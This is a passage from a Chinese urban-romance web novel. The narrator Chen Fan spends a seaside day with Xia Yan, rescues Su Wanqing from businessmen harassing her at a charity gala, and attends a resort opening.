“这里真惬意啊,没有城市里的喧嚣……”夏颜闭着眼睛,呼吸海风,一脸享受的说道。
“下车看看?”我问道。
“好……”
我把车停在镇口,牵着夏颜的手步行进去。
清晨的小镇刚刚苏醒,早点铺子升起炊烟,卖海鲜的渔民正从码头卸货,几个老人坐在屋檐下喝茶闲聊。
“这里真好。”夏颜轻声说,脚步慢下来,四处张望着,说道:“在这里,感觉时间过的很慢,整个人都慢了下来,很放松。”
“所以我才要带你来这里放松一下,你这段时间太累了,来到这里,忘掉一切,享受大自然!”我笑着说道。
我和夏颜没有吃早饭,两个人饿着肚子,最后在街边找到了一个小餐馆。
“来来来,帅哥美女是来游玩的?”老板娘爽朗的问道。
“嗯,这里景色很好。”夏颜说道。
在这里的夏颜,没有了往日的高冷,脸上一只挂着笑容,她是那样的亲和温柔。
“来尝尝我们的海鲜粥,刚打上来的海货。”老板娘给我们端来了两碗海鲜粥,她指了指窗外的露台,道:“那里的位置视野最好。”
夏颜起身走了过去,我随即跟上,这里的露台是木质的,悬在海上,脚下就是波浪,我们靠在栏杆的位置坐下。
“本来想和你看日出,你早上非要和我亲热,现在太阳都出来了……”我笑着说道。
“哎呀,听你这话说的,好像不喜欢我和你亲密接触啊!”
“没没没,我求之不得!”我一脸谄媚道。
我巴不得夏颜对我主动点呢!
我和夏颜就这样一边看着海景,一边吃着早饭,这里的海景很好看,阳光明媚,海风轻吹,我能和最爱的人在一起享受惬意的时光,心情别提多高兴了。
就在这时,太阳出来了。
“老公。”她忽然开口,声音很轻,像怕惊扰了什么。
“嗯?”我抬起头看着她。
“这是我第一次什么都不用想,只是想看日出。”她转过头,眼里有光,也有水汽。
“我不用想今天的会议,不用想报表数字,不用想怎么对付谁,也不用想怎么在家族面前表现得更好。”
她伸出手,指尖轻轻碰了碰我的脸颊:“谢谢你,带我来这里。”
我握住她的手,放在唇边吻了吻道:“
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以后可以经常来。”
“真的?”
“真的。”我看着她的眼睛,“只要你想,或者我们可以买下这里。”
“好啊!”夏颜开心的说道,不过她好像想到了什么,对我说道:“还是不要了,正是因为望潮属于大自然,才能让我们惬意舒服,如果我们买下来了,就没意思了。”
我懂她的意思,她更喜欢突如其来的风景,而不是提前规划好的生活。
吃完早饭,我拉着夏颜的手,在望潮小镇随意闲逛,我们没有目的地,就是随意走着,路过一家老旧音乐店,里面播放的都是经典老歌。
“我妈妈以前很喜欢这些歌。”她轻声说,指尖隔着玻璃划过唱片封面,道:“她总是一边做家务一边哼。”
“那她唱歌一定很好听。”我说道。
“当然,不然我怎么会生的倾国倾城呢!”夏颜向我眨了眨眼睛,一副调皮的样子。
夏颜一提起母亲,她的脸上就会欢呼雀跃,可见她对母亲的留恋。
“要进去看看吗?”我问。
她点点头。
店里很暗,满是旧物的气息,老板是个头发花白的老人,见我们进来,他只是抬了抬眼,说了句“随便看”,就又低头忙自己的了。
夏颜在成堆的唱片里翻找着,最后抽出一张封面已经泛黄的专辑,是《淡淡幽情》。
“就是这张。”她眼睛亮起来,道:“妈妈有一模一样的。”
我接过唱片看了看,转向老板:“这个能放吗?”
老板抬头,推了推眼镜:“能是能,但那台机器……”他指了指角落里一台布满灰尘的留声机,道:“很久没用了,不知道还好不好使。”
“让我试试。”我说。
夏颜惊讶地看着我:“你会修这个?”
“小时后喜欢研究这些,所以什么都要学一点。”我说道。
我用店里简单的工具清理了唱针,检查了发条和传动装置,又给几个关节上了点,二十分钟后,当我放下唱针,那台老旧的留声机竟然真的转动起来,流淌出温柔婉转的歌声:
“但愿人长久,千里共婵娟……”
声音有些沙哑,带着岁月的磨损感,却更添几分味道。
夏颜怔怔地站着,听着,然后眼泪毫无预兆地掉下来。
164你来追我啊!
夏颜没有说话,就是静静的流泪,我知道,她是回忆思念瘦,触景生情了。
我温柔的将她揽入我的怀里,她把脸埋靠在我的肩膀上,声音微微颤抖道:“对不起老公……,我就是忽然很想她……”
“不用说对不起。”我轻轻拍着她的背,安慰道:“想她就想她,这很正常,如果她知道你拿回了夏家,也会为你感到骄傲。”
我就这样陪着夏颜,听了那首陪伴了她整个童年的歌曲,或者说,在此时此刻,时光仿佛倒流回到了夏颜小女孩的时光。
歌曲唱完了,夏颜从我的怀里抬起头,然后擦了擦眼睛,笑着说:“我好了……”
她深吸一口气,刚才的脆弱一扫而光,取而代之的是她又变回那个坚强的夏颜,她眼里的仇恨消失了,剩下的是释然。
看到她的改变,我是打心眼里为她感觉到高兴。
“这张唱片……”她拿起那张《淡淡幽情》,转向老板,道:“我要了。”
从音乐店走出来,我和夏颜回到了海边,我们找了一片无人的沙滩坐下,潮水退去后,沙滩上有贝壳,有螃蟹,还有鹅卵石。
夏颜开心的脱了鞋子,她赤脚踩在沙滩上,一道海浪涌过来,她笑着躲开,她时不时的蹲下身子,捡起沙滩的贝壳。
我就在她的背后,默默的守护着她。
我忽然想起她说的话,她获得了自由,她做回了自己。
这才是她原本的样子,会为了日出感动,会因为一首歌流泪,会在沙滩上像孩子一样玩耍,她不是夏总,她只是夏颜。
她回头看我,手里举着一个形状奇特的贝壳:“陈凡!看这个像什么?”
我走过去,接过贝壳看了看:笑道:“像……半个月亮?”
“不对!”她眼睛弯成月牙,笑着说道:“像你的耳朵!”
“我的耳朵长这样?”我笑着说。
“就是!”她抢回贝壳,宝贝似的握在手里,道:“我要带回去,放在办公室,每次看到它,就想到今天,就会想到你。”
“那我给你买个大浴缸,都装进去!”
“不要,一个就够了!”
“为什么?”
“因为这世界上,只有一个你啊!”
她朝我笑了笑,那一刻,阳光,海滩,她,一切都很浪漫美好。
在望潮小镇,我们玩到傍晚,没有看上日出,却一起追起了晚霞。
太阳西落,我和夏颜并排而坐,她靠在我的肩膀,我们一起看潮起潮落。
忽然,她开口对我说:“老公,有时候,我会很害怕……”
“怕什么?”
“怕这一切是梦。”她转头看着我,眼里映着夕阳,“怕我醒来,你不见了,怕我醒来,我们今天拥有的这些……只是错觉。”
我捧起她的脸,让她直视我的眼睛,安慰道:“夏颜,这不是梦,这都是真实的!”
“我害怕自己决绝的一面,让你看到,就是我对付夏家的手段那种……”
夏颜说着不觉一笑,可能她是真的害怕,我懂,恋爱中人,都想把最好的一面展示给对方。
我吻了吻她的额头,温柔道:“夏颜,你听好,我喜欢早上起床时头发乱糟糟的你,喜欢喝粥时会沾到嘴角的你,喜欢听到老歌会哭的你,喜欢在沙滩上堆不好城堡还要耍赖的你。”
她怔怔地看着我,然后笑了,眼里又有泪光,但这次是幸福的。
“那你完蛋了……”她吸了吸鼻子,故作凶狠地说,“看到我这么多丑样子,这辈子都别想甩掉我了。”
“求之不得。”我认真地说。
“你想什么时候结婚?”夏颜忽然问我。
“我随时问你准备着……”
“那你在准备一下吧。”夏颜坏笑道。
“你不想嫁给我?”我马上问。
“单身的日子太美好,我还没享受够呢,你不也是么……”
我微微一笑,她说的没错,我们还年轻,更应该享受当下。
玩累了,我们就回到了车里,到了夜晚,望潮小镇的灯火逐渐点亮。
回程的路上,夏颜睡着了,她枕着椅背,呼吸均匀,手里还攥着那个贝壳,我放慢了车速,把空调温度调高,又脱下外套
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盖在她身上。
等红灯时,我侧头看她沉睡的侧脸,心里被一种前所未有的柔软填满。
这个在商场上和我并肩而战的女人,此刻正幸福的睡在我的身边,这比任何承诺都让我觉得踏实。
回到市区已是深夜,我把车开进地下车库,轻声叫醒夏颜。
她迷迷糊糊地睁开眼,看了看周围,又看了看我,然后露出一个困倦但甜蜜的笑容:“到家了?”
“嗯,到家了。”
“背我回家……老公……”
夏颜的一句撒娇,顿时让我丢盔弃甲。
于是我背着她,一起回了家。
回到家后,夏颜去洗澡,我开了瓶酒,坐在沙发上等她。
她洗完澡出来,穿着我的白衬衫,头发湿漉漉地披在肩上。看到我在等她,她笑了,走过来,然后很自然地坐到我腿上,双手环住我的脖子。
“今天像做梦一样。”她把脸埋在我颈窝,轻声说。
“明天也可以继续。”我吻了吻她的发顶。
她抬起头,眼睛在昏暗的光线里亮如星辰:“陈凡,我有没有说过……”
“说过什么?”
“说我爱你。”她说得那么自然,那么坚定,仿佛这句话早已在心里练习过千百遍。
“我爱你,不是因为你帮我拿回了夏家,不是因为你是‘凡颜资本’的陈总,不是因为任何利益算计,就是爱你,爱这个会带我去海边,去听歌,让我做回自己的你。”
我看着她,心里涌进来一股暖流。
“我也爱你,夏颜。”我听声音有些哑,道:“我爱你聪明,也爱你偶尔犯傻;爱你坚强,也爱你肯在我面前脆弱;爱你穿礼服的样子,也爱你穿我衬衫的样子。”
她眼睛红了,但笑容灿烂如花……
“你还喜欢我什么样子?”她搂着我的脖子,笑着对我说:“你喜欢什么,我今晚就扮演什么?老公,你觉得可好?”
“小妖精,又在勾引我!”我捏了捏她鼻子。
忽然,她松开我,一个人跑向了卧室。
“陈凡,你来追我啊……”
165苏婉情被为难!
海城国际会展中心,灯火辉煌。
由海城商会主办的年度慈善商业晚宴,今晚在此举行,这场盛世是沿海城市的顶级社交场,出席的人都是各行各业的顶流。
宴会厅里觥筹交错,一副热闹非凡的景象,男人们西装革履,女人们珠光宝气,他们谈笑风生,几句话之间,就会促成一笔上千万的订单。
苏婉情穿着一条珍珠白色的露肩长裙,她手里端着一杯香槟,脸上始终保持着笑容,她被人围在中间,将她围住的三个人,分别是永昌实业的李董,海通船运的赵总,还有金鼎地产的孙老板。
他们三个人平均年龄超过五十,此刻正以提携后辈的姿态,将苏婉情围在中间。
“苏行长不仅貌美如花,还年轻有为啊……”李董挺着啤酒肚,目光在苏婉情裸露的肩膀和锁骨上流连。
“听说情海资本最近在拓展海城的港口物流业务?巧了,我在港口管委会有几个老朋友……”李董故意炫耀道。
“李董说得对。”赵总接话,他瘦削精明的说道:“海城这块蛋糕,不是谁都能碰的,想要混得开就得有门路,有资源,当然,也要懂事……”
赵总意味深长的看了一眼苏婉情,然后笑了笑。
孙老板最直接,他晃着手中的威士忌,肥胖的脸上堆满笑道:“苏小姐,光站着说话多没意思,来,我敬你一杯,预祝咱们合作愉快!”
他招来侍者,不等苏婉情说话,直接塞给了她一杯烈酒。
苏婉情看着那杯酒,胃里一阵翻涌,她酒量一般,而且今晚已经喝了两杯,她知道这杯烈酒喝下去会有什么后果,那就是意识模糊,防线崩溃,然后被这些老狐狸牵着鼻子走,或者发生更糟的事情。
可她又不能拒绝,因为情海资本是她苦心经营多年的心血,以她个人名义创办的公司,如果她得罪了眼前的三个人,她在海城将寸步难行。
“孙老板太客气了,应该我敬各位前辈才对。”苏婉情努力让自己保持礼貌的微笑,尽管她现在已经非常反感他们了。
可她还是选择一饮而尽,烈酒穿过喉咙,直冲胃部,带来了一阵烧灼感,她强忍着没有吐出来,她的脸瞬间就红了。
“好!爽快!”李董抚掌大笑,他看向苏婉情的眼神更加露骨道:“我就喜欢苏行长这样的女中豪杰!来,我也敬你一杯,为了咱们未来的深度合作!”
李董将一杯烈酒又塞到苏婉情的手中,苏婉情感到一阵眩晕,她知道李董是在故意灌醉自己,这些男人醉翁之意不在酒,他们在意的是自己的这张脸还有身体。
“李董,我不能再喝了……”
苏婉情找了一个接口就想要离开,但赵总已经看穿了她的心思,赵总故意上前一步,挡住了她的去路。
赵总顺势将胳膊搭在了苏婉情裸露的肩膀上,这让苏婉情脸色巨变。
“苏行长是不是不舒服?”李董上前假惺惺的询问。
李董身体故意靠近苏婉情,他笑着问道:“苏行长,楼上我长期包了间休息室,要不上去歇会儿?我们可以单独聊聊港口那个项目,细节嘛,总要深入探讨才能清楚……”
苏婉情想要推开李董,他话里的暗示让她想要吐,苏婉情浑身有些发冷,不是因为天气,而是因为恐惧和愤怒。
她看向周围,许多宾客都瞧着自己被这些老男人揩油,却没有人来管,因为他们都默认了这种规则,弱肉强食。
“我……”她试图挣脱,但孙老板的手像铁钳一样抓着自己,让她无法睁开。
“别害羞嘛苏小姐……”赵总压低声音,语气却带着威胁,道:“大家都是成年人,有些事情心照不宣,你陪我们尽兴了,海城的门,自然为你敞开,否则……”
他冷笑一声,没说完,但意思再明白不过。
赵总将第三杯酒递到了苏婉情的面前,他威胁道:“苏小姐,我的意思你懂了吗?如果你还想再海城继续生存,就痛快喝了!”
这三个男人轮番轰炸,苏婉情内心升起一种绝望,下意识,她的脑海中浮现出来了一个熟悉的身影,陈凡……
如
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果此时此刻,他没有死,他在自己身边该多好啊……
就在苏婉情快要认命的时候,一个熟悉的声音,在她的身后响起。
“几位,这么热闹?”
那声音不高,却像一道惊雷,瞬间劈开了令人窒息的氛围,围着苏婉情的三个男人同时回头,看向声音来处……
苏婉情整个人都怔住,这个声音,为什么如此熟悉,熟悉到让她心脏骤停,她不敢回头,怕只是幻觉,怕这一切都是梦境!
“你们几个大男人,灌醉一个女人有意思么?”
我向着苏婉情走去,周围的人目光都**在我的身上,他们眼神里流露出惊讶,不解还有疑惑。
“陈凡……不是已经葬身火海了吗……”
“怎么会出现在这里……”
周围传来窃窃私语的议论声。
当苏婉情鼓起勇气,转过头,看向我时候。
四目相对,时间仿佛都静止了一般。
我看见她的酒杯瞬间滑落,啪的一声掉在了地上,酒水溅湿了她的裙摆和鞋面,她都没有察觉到。
她只是盯着我的脸,泪水不自觉的就滑落下来,她捂着自己的嘴,不让自己哭出声。
是陈凡……
是他……
他回来了!
苏婉情就静静的看着我,她还没有反应过来。
她身边的李董是最先反应过来,他认出我就是在上城声名鹊起的人,于是他回复了商人的本来面孔,笑着打招呼道:“哎呀,这不是凡颜资本的陈总吗?久仰久仰!没想到陈总也来海城了?怎么也不提前打个招呼,我们也好尽地主之谊啊!”
李董身边的那两个人,见到我出现,也是一脸的茫然和震惊。
“新闻上不是说他已经**吗?他怎么会出现在这里?”
“他为什么要帮苏婉情?难不成他对苏婉情也有意思?”
我听着赵总和孙总的议论,心里却嗤之以鼻!
我冷冷的盯着李董,问道:“李董是吧?你们就是这样尽地主之谊的?三个人,围着一个女士灌酒?”
166为苏婉情解围!
李董脸色一变,强笑道:“陈总误会了,我们就是和苏小姐聊聊业务,喝两杯助助兴,没有别的意思。”
“助兴?”我打断了他的话。
我向前走了一步,李董他下意识的后退了一步,我知道是自己给到他压力了。
“我看苏小姐的样子,可不像是很高兴。”我故意加重了语气,然后目光扫过孙总,最后瞥了一眼赵总,道:“赵总,孙总,难道你们在海城的生意,是靠在酒桌上为难女人谈下来的吗?”
我说的话已经相当不客气,面前的两人脸面上有些挂不住了,孙总表情有些恼怒,他在海城一向嚣张跋扈,什么时候被人当面教训过。
可像他这种角色,现在真的不入我的眼了,海城在大能有上城大?秦昊我**,赵坤跟我混,就连韩栋都被我揍过,这些人哪个不是当地顶级的公子哥?
几个海城老板,我真的没放在眼里。
“陈凡!”孙老板沉下脸,语气不悦道:“这是我们海城的事,轮不到你一个外人指手画脚!苏小姐愿意跟我们喝酒,关你屁事!识相的赶紧滚!”
我笑了,因为很久我都没有听到有人在海城这样跟我说话,我的笑容,让孙老板更加的不爽。
“她的事,就是我的事!”我一字一句,清晰地说道。
我的这句话在苏婉情心中激起滔天巨浪,她看着我,泪水再也控制不住,夺眶而出。
“你的意思是要管闲事了?”李董也收起了伪善,眼神阴冷下来,道:“陈凡,别以为你在上城有点名头,就能在海城横行霸道,强龙不压地头蛇,这个道理你不懂?”
“道理我懂。”我点点头,目光扫过三人,道:“但我这人,不太喜欢讲道理,尤其是跟你们这种人,你们不配讲道理!”
“你!”孙老板大怒,肥胖的脸涨成猪肝色,他举起手就想要扇我的耳光。
可我的动作更快,我抬起手,直接扣住孙老板的手腕,他马上痛的惨叫,我直接用力一掰,只听嘎巴一声,他的骨头都要碎了。
孙老板疼的冷汗直流,嗷嗷直叫。
“放手!**放手!”孙老板惨叫。
这边的动静终于引起了更多人的注意,宾客们纷纷侧目,低声议论,宴会的主办方,海城商会的几位负责人也皱起眉头,快步朝这边走来。
“这位先……陈总?”宴会的主办经理认识我,他一眼就认出了我的身份,道:“你……不是……已经……”
“我根本就没死,新闻是假的。”我随口解释。
“陈总,既然您没事那就太好了,今晚毕竟是咱们海城的慈善晚宴,来的都是有头有脸的人物,不知道孙老板怎么得罪您了?”经理毕恭毕敬的和我说话。
能够主办慈善晚宴,这个经理也是有点人脉,他也应该听说我的故事了,毕竟我现在不是一般的火,我这就算是死而复生。
我松开了手,孙老板捂着手腕踉跄后退,他不敢在看向我。
李董和赵总脸色极其难看,他们没想到我如此强硬,身手还如此厉害。
“陈总,何必闹得这么难看?”李董压低声音道:“为了一个女人,值得吗?大家都是在商界混的,山水有相逢……”
“值得。”我斩钉截铁的回答。
我今晚在海城出了风头,可能明天小道消息就会传开。
我不再看他们,转身,走向泪流满面的苏婉情。
我看着她,眼神里有关心,有心疼,我伸出手,稳稳的扶住了她的胳膊。
“能走吗?”我问,我的声音很低,只有她能听见。
苏婉情不说话,只是用力的点头,眼泪却掉的更凶了,她所有的坚强,所有的伪装,在我的面前瞬间土崩瓦解。
我不再理会身后那几道怨毒的目光和逐渐围拢的人群,我微微侧身,用身体挡住大部分视线,然后半扶半拥着苏婉情,拨开人群,朝着宴会厅外走去。
我目光阴冷,带着一种生人勿进的架势,所到之处,人们都给我让了一条路。
直到走出金碧辉煌的宴会厅,走进相对安静的走廊,苏婉情才像是终于从一场噩梦中挣脱,双腿一软,几乎瘫倒在
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我的怀里。
我手臂用力,稳稳地揽住了她的腰,将她带向电梯。
电梯门合上,隔绝了外界的一切。
狭小的空间里,只有我们两个人,她终于抬起头,泪眼模糊的伸出手,她想要触碰我的脸颊,却又不敢,怕一碰就碎了。
“是……是你吗?”她哽咽着道:“陈凡……真的是你?我不是在做梦?他们都说你**……那场**……我……”她语无伦次,巨大的情绪冲击让她几乎崩溃。
我看着她脸上肆意流淌的泪水,我只是抬起手,为她擦去脸颊上滚落的泪珠。
我的这一个举动,让苏婉情浑身一震,随后,她的泪水再一次决堤,她不在无声的哭泣,而是放声痛哭。
她扑进我的怀里,紧紧搂住我的腰,把脸埋在了我的胸膛,她哭的就像是一个迷路多年终于找到家的孩子。
“你还活着……你还活着……”她反复呢喃着这句话,她在印证自己不是在做梦。
我微微心软,然后将她颤抖的身体更紧的拥入怀中,我低下头,下颌轻轻抵着她的发顶,闭上了眼睛……
电梯门在一楼大厅打开时,外面站着几个等电梯的宾客,我和苏婉情抱在一起的样子,都被他们撞到了。
在这种场合,估计明天的新闻就是我和她的事情了。
我无视那些目光,带着苏婉情离开。
“陈凡,我们去哪里?”苏婉情问道。
“回你家……”
“好……”
“车在哪?”她小声问,声音还带着哭过后的沙哑。
“停车场。”我简短地回答,揽着她走向侧面的通道。
坐上车后,我将西装外套脱下盖在了她的腿上,车里很安静,只有导航的声音,她一直沉默,直到窗外的霓虹灯在她的脸上投下光影……
“他们告诉我,你死在了海城仓库,我不相信……”
“你那么强大的一个人,怎么可能会死呢,直到周家发了讣告,我去了你的葬礼,去的时候告诉自己不要哭,可回来的时候,我哭的心都没了……”
167苏婉情的情义
我握着方向盘,听着苏婉情的话,她说的我都知道。
我知道在我的葬礼上,她顶撞秦昊的话,周叶青都告诉了我。
“陈凡,这到底是怎么一回事?”苏婉情看着我,她的眼睛里有太多的疑问。
“那场**是秦昊安排的,他想让我消失,干脆的消失。”我的声音没什么起伏,就像是在说一件很平常的事情。
苏婉晴倒抽一口冷气,手指攥紧了我的胳膊问道:“那你是怎么……”
“是周叶青提前给我安排了后路。”我淡淡地说:“她在我去仓库之前,安排了一个摩托车骑手,在仓库**前的几秒,骑手将我救了出来,不然,我可能就葬身火海了。”
我没有告诉她更多的细节,那些阴暗的人性,和见不得光的手段,还有以命相搏的逃亡,我觉得没有必要让我的女人们知道。
她们知道的越多,就会越发的担心我。
“所以你这些日子……”她声音发颤,略带担心的问我:“一直在躲?”
“在处理一些事,也在等一个回来的时机。”
她沉默了,重新转回头看向前方。
车子驶过跨海大桥,海风更大了,吹得车身微微晃动。
“秦昊……”她喃喃道,语气里带着恐惧和后怕,“他居然敢……”
“他没什么不敢的。”我打断她,“赵刚**的,你应该也听说了,秦昊是司徒鸣的干儿子,这件事和他们脱不了干系。”
她身体一僵,点了点头,赵刚“突发心脏病”离世的消息,在海城的上层圈子里早已不是秘密,尽管官方说法冠冕堂皇,但私下里流传的版本,都隐约指向司徒家。
“那你现在回来……”她看向我,眼里有担忧,“他会不会……”
“不会,秦昊再也不会对我造成任何的威胁,因为,他已经**!”
“他,他**?!”苏婉情有些不可置信的看着我,她的眼睛里闪过惊讶,随后就是一种痛恨,道:“死的好,他活着,只会有更多的人死亡!”
“那他是**的?”苏婉情问我。
“他当初怎么杀我,他就是**的!”
我这句话说的很直白,甚至有些冷漠,可这就是现实,仁慈根本就不适合我。
“真是恶人有恶报!”苏婉情痛恨的说道:“当初在殡仪馆的时候,秦昊欺负我们,还是周总出面,他在老实,他就是看你不在了,所以才敢欺负我们,还有海城那些大佬,也都看人下菜碟……”
“这段时间,让你受委屈了……”我说道:“看来我的假死,让你遭受了很坏的待遇。”
当初我在海城的时候,给苏婉情拉赞助,拉贷款,尽管那时候我还没有周家做靠山,可在海城,大家都给我点面子。
我今天之所以来找苏婉情,也是知道她在我假死的这段时间,一直顶住压力,给凡颜资本贷款,在我和夏颜最难的时候,她选择了鼎力相助。
听了我的话,苏婉情愣了愣,反而苦笑着说道:“是啊,确实遇到了很坏的遭遇,不过再坏能坏到哪里去呢?今晚如果不是你,我现在可能已经……”
她没说完,摇了摇头道:“反正,在海城这段时间,我也算见识了,弱肉强食,不过如此。”
苏婉情的语气里,有一种认命的疲惫感。
这不禁让我有些疑惑,于是我问道:“那个王总,李董,他们怎么盯上你的?”
苏婉情叹了口气,整个人放松地靠进座椅里,说道:“我去在海城开了家小型的品牌策划公司,起初还算顺利,接了几个本地企业的案子,后来想扩大规模,需要资金和人脉,就通过关系参加了几个所谓的‘高端圈子’活动。”
“你也知道,这种圈子,表面上光鲜亮丽,实际上……**不吐骨头,王总他们手里有资源,也有我需要的大客户渠道,他们一开始表现得很有风度,说是欣赏我的能力,愿意扶持年轻人,我也信了,以为靠自己的专业能换来平等的合作。”
“然后呢?”我问。
“然后就是温水煮青蛙。”她的声音低下去,道:“先是小恩小惠,介绍些无关紧要的客户,接着开始暗示,要更深度的合作,于是饭局越来越
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多,酒越喝越晚,今晚……算是图穷匕见了。”
说到这里,苏婉情的面容已经露出茫然,甚至有一些落寞。
“我以为我能应付,能周旋,可到了那种场合,我才发现,对方根本不在乎你的想法,只把你当成一件可以交换的物件,他们人多,有势,而我……除了这身裙子,什么都没有。”
苏婉情说得很平静,但每个字里都透着无能为力的**。
我保持沉默,没在多言,因为我知道,她此刻需要自我消化一些情绪,我将车开进了她家的小区地库。
我熄火后,苏婉情并没有马上下车,而是坐在车里,她看着我,忽然开口问我:“陈凡,我是不是很**……”
听到**这两个字的时候,我眉头一皱,我挺不喜欢这个词汇,于是问道:“为什么这么说?”
苏婉情叹了一口气,她不敢看我,只是微微低着头,小声说道:“你假死没有多久,我就去参加这种场合,企图获得更多的利益,我……”
“在他们那些男人的眼里,我就是用身体去交换利益的工具吧……”
“可其实……”苏婉情有些红了眼睛道:“我就是想给自己找点事情做,我不可以不做事,不然没有你的日子,我该怎么活……”
说着说着,苏婉情就哭了。
我听着她的心里话,将她楼进我的怀里,安慰道:“我知道,我也懂,这些日子辛苦你了,都是你在支撑凡颜资本,银行那边你的压力也很大吧,我也听说你将杭城的房子卖了,就是为了投资凡颜资本……”
“你是一个很好的女人,不要再用这样的词汇说自己,否则,我会生气!”
我安慰着苏婉情,我知道她虽然贪图利益,可她也有自己的底线,虽然当初她和我上床是为了贷款,可她也只是和我一个人上床。
“真的吗?原来我做的这些你都知道?”苏婉情抬起头,眼泪巴巴的看着我:“你真的觉得我很好?”
我点了点头,道:“我都知道,你是一个好女人,我回海城了,没有人敢在欺负你了……”
168苏婉情的心里话!
“嗯!”苏婉情眼含泪光点了点头,她轻声问我:“你今天在酒会上,对那几个男人动手,我担心他们会报复你。”
“不重要了。”我一副无所谓道:“他们在牛有秦昊牛么?所以……这些人,都不重要。”
说着,我双手捧着苏婉情的脸,温柔道:“你只要知道,你现在是苏婉情,是我陈凡的女人,是海城大发银行的总行长,是公司的老板就可以。”
“嗯!”
听了我的话后,苏婉情眼神就明亮了起来,似乎不在会为酒会上的事情而担心。
我并不怪苏婉情多心,因为她毕竟是一个女人,她没有经历的多,在加上今晚被那三个男人灌酒,她害怕也是正常的。
我推开门下车,她也跟着我下了车,她抱着外套走在我前面,她依偎在我的怀里……
“陈凡,我知道我做错了,我以后不会再去这种场合,和这些人接触……我太天真了……”
她咬了咬嘴唇,眼圈又红了,但这次没哭出来,她懊悔道:“好在你今晚出现,如果你没来,后果不堪设想,我可能就被那几个男人给糟蹋了,我不但什么结果没得到,反而还失去了最重要的东西!”
“我现在想想自己的行为,就觉得愚蠢和**!”
苏婉情似乎还没有原谅自己的行为,她走上前,对我说道:“陈凡,对不起……”
她的声音哽咽了,但眼神很坚定,像是终于卸下了背负很久的重担。
“我听到了。”我说。
简单的三个字,没有说原谅,也没有说不原谅,但对她来说,似乎已经够了。
她深深吸了口气,像是终于能顺畅呼吸了,然后点点头:“谢谢。”
她依偎在我的怀里,挽着我的胳膊,拉着我上楼。
她的语气变得温柔,脚步变得轻快,我知道她的心结应该是解开了。
原来,她是怕我轻视她。
这已经不是我第一次来苏婉情的家了,我还蛮喜欢来她家,在这里,我会很放松,苏婉情也是会按摩,对我服侍的尽心尽力。
在电梯上升的时候,苏婉情小鸟依人一样依偎在我的怀里,尽管电梯里还有别人,可她却没有躲闪,就这样正大光明的和我接触。
因为工作关系,苏婉情在这个小区里,也算是一个名人,她不避讳,就说明她心里已经认定我了。
等到了家门口,她忽然搂住我的脖子,主动送上热吻。
“陈凡,我好想你,想你想的不行了……”
正当我要进一步发展的时候,她忽然叫停了。
“怎么了?”我问。
“我身上脏,都是酒水,我去洗洗。”苏婉情说道。
我看到她的礼服上,沾满了水渍,于是我点了点头。
电梯上升的过程很安静。镜面般的轿厢壁映出我的样子:黑色衬衫领口松开了两颗扣子,脸上没什么表情,但眼神里有种自己也不太确定的东西。
苏婉情去洗澡了,我就直接坐在客厅,我也难得放松一下,浴室里传来水声,十几分钟后,苏婉情走了出来,换上了一件简单的米白色棉质长裙,头发也放了下来,松松地披在肩上。
卸了妆的她,有一种素颜的美。
“想喝什么?茶?还是咖啡?不过这个时间喝咖啡可能睡不着……”
“水就行。”我说。
她点点头,从冰箱里拿出冰水,倒了两杯。
她把水杯放在我面前的茶几上,然后在我侧面的单人沙发上坐下,双腿蜷起来,手臂抱着膝盖。
“今晚……真的谢谢你。”她终于开口,声音在安静的客厅里格外清晰,“如果不是你,我可能……”
“过去了。”我打断她,道:“以后自己多小心。”
苏婉情点了点头,她的手指摩擦着杯子,她似乎有什么心事,良久,她抬起头问我:“陈凡,我能问你一件事么?”
“问。”
“你救我的时候……在想什么?”她的声音很轻,似乎有一种不确定,道:“是因为我是苏婉情,还是因为……只是看不惯那种事?”
我微微一笑,这个问题问的很直接,苏婉情事想确认在我心里的位置,她是想知道,在我这里,她到底是什么。
“都有吧,不过更多
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的是因为你是苏婉情,是我的女人……”
她听了我的回答,嘴角微微上扬,可见她的心里还是很高兴的。
“其实……”苏婉情欲言又止。
“其实什么?”我问。
“其实你是心很软的人。”她轻声说,“只是藏得太深了,深到连你自己都以为自己没有。”
这句话让我动作顿了一下,心软?这个词已经太久没有人用在我身上了。
在上城,在海城,在所有人眼里,我陈凡都是个手段狠辣的人。
“你看错了。”我说。
“是吗?”她看着我的眼睛,目光很平静,道:“你今晚来我这里,是放心不下我把。”
她没等我回答,继续说:“你不用担心我,我虽然笨,虽然在海城混得不好,但还不至于连照顾自己都不会。你上来……是因为不放心,对吧?”
她说中了。
我看着她,点了点头。
“陈凡,你以后一定会很厉害的!”
“那你可要一直看着我!”
“我会的!”苏婉情认真的点了点头道:“我今晚很开心,因为你回来了,因为我在你的眼里,已经看不见防备了。”
“防备?”
苏婉情点了点头,她的眼圈微微翻红,道:“陈凡,我不傻,我看的出来,一开始,你看我的眼神,是不信任的,是充满防备的。”
“可是今晚,那种眼神不见了,你看着我的时候,是宠爱,是把我当成你的女人那种……”
苏婉情说着说着,就笑了,是那种发自内心的笑容。
“后悔么?遇见我?”我问道。
苏婉情使劲摇了摇头,道:“从来没有后悔过,无论何时何地,我都没有后悔过,我甚至想过,即便这个行长不做了,也要将凡颜资本的贷款发放到位,因为没有你陈凡,就没有我苏婉情的今天。”
“我知道你是一个有野心的男人,想要做你的女人,能配的上你,我也要有野心才行,于是我想尽办法往上爬,我真的害怕。”
“害怕什么?”
“害怕你有一天太厉害,不要我了……”
169再见柳媚笙!
海城,东郊度假区。
不过才早上六点钟,这里的工人就已经开始清扫,因为今天是是“东郊生态度假区”盛大开业的日子。
我站在主楼的三层露台上,悠闲的吃着早餐,顺便俯瞰整个度假区。
这里,几个月前,还是一片荒草丛生的郊区,可现在,在我和夏颜的手中,它变成了海城未来休闲度假的一个主流产业。
我们赌赢了。
如今,我的眼前有依山而建的玻璃酒店,有露天温泉,有儿童乐园,有高尔夫球场,还有码数俱乐部。
凡颜资本的第一个大型项目,将在今天正是揭牌亮相,夏颜早早的就去准备了。
“陈总,媒体区已经布置好了,三十多家主流媒体全部到场。”助理小张拿着平板站在我身后,她语气里透着兴奋,道:“嘉宾签到七点半开始,夏总已经在化妆间准备了。”
“安保再确认一遍,今天来的人太多,不能出任何岔子。”我特意嘱咐道。
我知道今天这场开业庆典,表面上是一场商业盛宴,实际上是“凡颜资本”在海城正式立旗的宣告,来的每一个人,都是观众,也是潜在的盟友或敌人。
上午九点,嘉宾开始陆续抵达。
停车场很快被各式豪车填满,海城有头有脸的人物几乎都来了地产大亨,金融巨子,科技新贵,还有文化名流,他们穿着昂贵的定制服装,面带笑容在签到墙前合影,然后被引导至主会场。
